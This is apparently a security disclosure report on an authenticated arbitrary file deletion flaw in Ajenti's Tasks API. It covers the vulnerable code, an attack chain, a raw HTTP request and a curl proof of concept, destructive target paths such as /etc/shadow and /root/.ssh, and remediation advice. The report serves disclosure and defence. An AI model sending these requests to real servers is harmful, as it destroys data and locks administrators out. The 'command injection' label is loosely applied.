

Ajenti Arbitrary File Deletion Vulnerability Report

System Fingerprint Status

Affected scope: All versions of Ajenti. The `Delete` task class has had no path restrictions on the `item['path']` parameter since its introduction, with the `@authorize('filesystem:write')` permission serving as the only barrier.

Vulnerability Analysis

Vulnerability Overview

- **Issue Type:** Path Traversal + Command Injection (Path Traversal CWE-22 + Improper Input Validation CWE-20), chained invocation leading to arbitrary file deletion
- **Impact Description:** An authenticated attacker holding the `filesystem:write` permission can, through the Tasks API, pass custom `Delete` task parameters to invoke `rm -rf` and delete arbitrary files/directories on the server. The attacker can delete critical system configuration files (`/etc/passwd` , `/etc/shadow`), application data (`/var/lib`), SSH keys (`/root/.ssh`), etc., leading to system unavailability or privilege escalation.
- **Affected Path:** `POST /api/core/tasks/start` → `Delete.run()` → `subprocess.call(['rm', '-r', '-f', user_supplied_path])`

Problematic Code

① Entry Point: Tasks API accepts user-specified task classes and parameters

`plugins/core/views/tasks.py:28-36`

```
1 @post('/api/core/tasks/start')
2 @endpoint(api=True)
3 def handle_api_tasks_start(self, http_context):
```

```

4 data = json.loads(http_context.body.decode())
5 cls_full_path = data['cls'] # ← User-
  specified class path
6 if cls_full_path in ALLOWED_TASK_CLASSES:
7     module_name, cls_name = data['cls'].rsplit('.', 1)
8     module = __import__(module_name, fromlist=[''])
9     cls = getattr(module, cls_name)
10    task = cls(self.context,
11               *data.get('args', []),
12               **data.get('kwargs', {})) # ← Attacker-
  controlled kwargs
13    self.service.start(task) # ← Executes
  immediately

```

② Propagation: Delete task initialization, items parameter fully controlled by attacker

plugins/filesystem/tasks.py:41-49

```

1 class Delete(Task):
2     name = _('Deleting')
3
4     def __init__(self, context, items=None):
5         Task.__init__(self, context)
6         self.items = items # ← User data
  directly assigned
7
8     @authorize('filesystem:write') # ← Only
  barrier
9     def run(self):
10        for idx, item in enumerate(self.items):
11            r = subprocess.call([
12                'rm', '-r', '-f', item['path'], # ← Passed
13                ])
  directly to rm -rf!

```

③ Sink: `subprocess.call(['rm', '-r', '-f', user_path])` lacks any path whitelisting

```

1 r = subprocess.call(['rm', '-r', '-f', item['path']])
2 # item['path'] = "/etc/passwd" → System user database deleted
3 # item['path'] = "/var/lib" → Application data recursively deleted
4 # item['path'] = "/root/.ssh" → SSH keys deleted, administrator locked out

```

Attack Chain

```
▼
1 Authenticated Attacker
2 → POST /api/core/tasks/start
3 → Body: {"cls": "aj.plugins.filesystem.tasks.Delete", "kwargs": {"items": [{"path": "/etc/critical-config", "name": "x"}]}}
4 → TaskService.start(Delete(items=[{"path": "/etc/critical-config"}]))
5 → Delete.run() [check filesystem:write ✓]
6 → subprocess.call(['rm', '-r', '-f', '/etc/critical-config'])
7 → File permanently deleted
```

Vulnerability Reproduction

Deployment Reference

```
▼
1 pip install ajenti-panel
2 ajenti-panel
```

Prerequisites

- Possess valid Ajenti login credentials
- User has the `filesystem:write` permission

Steps

1. Log into Ajenti and obtain the session cookie
2. Construct the Delete task POST request

```
▼
1 POST /api/core/tasks/start HTTP/1.1
2 Host: target:8000
3 Content-Type: application/json
4 Cookie: session=<valid_session>
5
6 {
7   "cls": "aj.plugins.filesystem.tasks.Delete",
8   "args": [],
9   "kwargs": {
10     "items": [
11       {"name": "test", "path": "/tmp/vulnerable-file"}
12     ]
13   }
```

1. The target file `/tmp/vulnerable-file` is deleted by `rm -rf`

POC

```
1 # Create a test file and verify deletion
2 echo "test" > /tmp/test_delete_me
3
4 curl -s -X POST "http://target:8000/api/core/tasks/start" \
5 -H "Content-Type: application/json" \
6 -H "Cookie: session=$SESSION" \
7 -d '{"cls":"aj.plugins.filesystem.tasks.Delete","args":[],"kwargs":{"items":
  [{"name":"x","path":"/tmp/test_delete_me"}]}}'
8
9 ls /tmp/test_delete_me # File no longer exists
```

Remediation Recommendations

1. **Server-Side Path Restriction:** Implement sandbox validation for `item['path']` within `Delete.run()`, restricting the deletion scope to the user's home directory or a designated base directory.
2. **Parameter Hardening:** Use `pathlib` for path normalization combined with `os.path.realpath()` to verify path prefixes, rejecting paths that traverse to parent directories.
3. **Operation Auditing:** Log audit records (user, IP, timestamp, target path) before file deletion.
4. **Deployment Side:** Ajenti is an EOL project. It is recommended to migrate to a still-maintained alternative (e.g., Cockpit + File Manager plugin).